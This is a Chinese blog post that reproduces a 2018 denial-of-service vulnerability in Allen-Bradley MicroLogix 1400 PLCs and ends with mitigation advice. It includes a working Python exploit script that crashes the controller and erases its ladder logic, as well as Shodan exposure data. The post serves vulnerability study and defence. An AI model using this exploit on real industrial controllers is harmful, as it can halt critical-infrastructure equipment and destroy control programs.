about 1 results (0.02 seconds)

罗克韦尔Allen-Bradley MicroLogix 1400系列PLC漏洞的复现及解决方案

by LauCyun Aug 22,2018 15:53:48 11,044 views

2018年3月,思科Talos安全研究团队发文指出罗克韦尔自动化公司的 Allen-Bradley MicroLogix 1400 系列可编程逻辑控制器(PLC)中存在多项严重安全漏洞,这些漏洞可用来发起拒绝服务攻击、篡改设备的配置和梯形逻辑、写入或删除内存模块上的数据等。

0x0 背景

先介绍一下,Allen-Bradley MicroLogix 1400 是个神马玩意儿?

Allen-Bradley MicroLogix 1400控制器是 MicroLogix 系列新的产品线,带有内置的模拟量输入、以太网通讯、更快的高速计数器、可调脉冲输出,专为扩展应用范围而设计,目前被广泛应用与关键基础设施、食品生产加工行业、农业及水处理等行业的工业控制现场,用于控制电机、阀门等工业设备。其外观如图1所示:


图1 AB-MicroLogix 1400系列PLC

至于详细介绍请参考:https://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400

而思科 Talos 安全研究团队公布的安全漏洞有如下表:

CVE编号 CNVD编号 漏洞名称 影响的设备 CVSSv3
CVE-2017-12088 CNVD-2018-07012 以太网卡特制数据包拒绝服务漏洞 Allen Bradley Micrologix 1400 Series B FRN 21.2及以下版本 8.6
CVE-2017-12089 CNVD-2018-07297 梯形图逻辑程序下载设备故障拒绝服务漏洞 8.6
CVE-2017-12090 CNVD-2018-07294 SNMP集处理异常行为顺序拒绝服务漏洞 7.7
CVE-2017-12092 CNVD-2018-07286 内存模块存储程序文件写入漏洞 3.7
CVE-2017-12093 CNVD-2018-07285 资源池拒绝服务漏洞 5.3
CVE-2017-14462
-
CVE-2017-14473
CNVD-2018-07275
-
CNVD-2018-07286
访问控制漏洞 10.0

为此,本文将介绍漏洞 CNVD-2018-07012 的复现及防御措施。

0x1 漏洞描述

漏洞 CNVD-2018-07012 允许未经身份验证的攻击者发送特制数据包,从而使受影响的设备进入电源循环并进入故障状态,这种情况会导致先前存储在设备上的梯形逻辑被删除。需要注意的是,这个漏洞不是通过以太网/ IP 协议来利用的,因此使用 RSLogix 来禁用以太网/ IP 不会提供有效的缓解。

受影响的产品:

  • Allen Bradley Micrologix 1400 Series B FRN 21.2 及以下版本

至于详细的漏洞信息可参考:

通过 Shodan 对影响版本网络设备Rockwell Automation 1766进行搜索,其暴露在公网的情况如图2所示:

图2 Allen Bradley Micrologix 1400暴露在公网的情况

0x2 复现

用 nmap 对 Allen Bradley Micrologix 1400 控制器侦查一番,如图3所示:


图3 测试PLC的信息

说明图3中的 Allen Bradley Micrologix 1400 控制器正是 CNVD-2018-07012 受影响的产品,接下来就是复现了。

CNVD-2018-07012 的 exp 脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import random

host = "192.168.0.235"
port = 44818

head = "\x00" * 24
crash_head = "\x00" * 2
crash_tail = "\x00" * 20
crash = "%s\xe8\xff%s" % (crash_head, crash_tail)
num_heads = int((random.random() * 58))
heads = head * num_heads
mesg = heads + crash

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(mesg)
sock.shutdown(socket.SHUT_RDWR)
sock.close()

在运行 exp 脚本之前,通过 RSLogix 观察一下 Allen Bradley Micrologix 1400 控制器的运行状态,如图4所示: 


图4 Allen Bradley Micrologix 1400控制器处于运行状态

运行 exp 脚本python exp.py,通过 WireShark 捕获到复现过程中的数据包如图5所示:


图5 复现过程

此时,Allen Bradley Micrologix 1400 控制器的运行状态如图6所示:


图6 Allen Bradley Micrologix 1400控制器处于故障状态

在图5中的第4个数据包正是起关键作用的数据包,如图7所示:

图7 payload

0x3 解决方案

目前,对类似曝出有高危漏洞的工控设备,一般采取以下方案:

  • 将受影响设备升级到最新版本的固件,以便不再受到这些漏洞的影响;
  • 在工控设备前部署安全防护设施,以防止工控设备被攻击。

由于工业现场的特殊性,一般工控设备部署完成后,基本是处于长期稳定运行状态,一年仅会有半个月到一个月左右的检修停机时间,即使利用检修时间去对工控设备进行固件升级,也可能存在内部程序被刷新或者被清空的风险,一旦生产控制程序被清空,那么其造成的损失和恢复成本都是极大的,所以在现场进行固件升级的可行性比较小。

所以,在工控设备前部署安全防护设施是目前比较可行的防护方案。通过在Allen Bradley Micrologix 1400前部署工业防火墙,来对Allen Bradley Micrologix 1400设备进行安全防护的功能。

而该方案也满足《工业控制系统信息安全防护指南》和《GB/T 22239-2008 信息系统安全等级保护基本要求》。

0x4 参考

...

Tags Read More..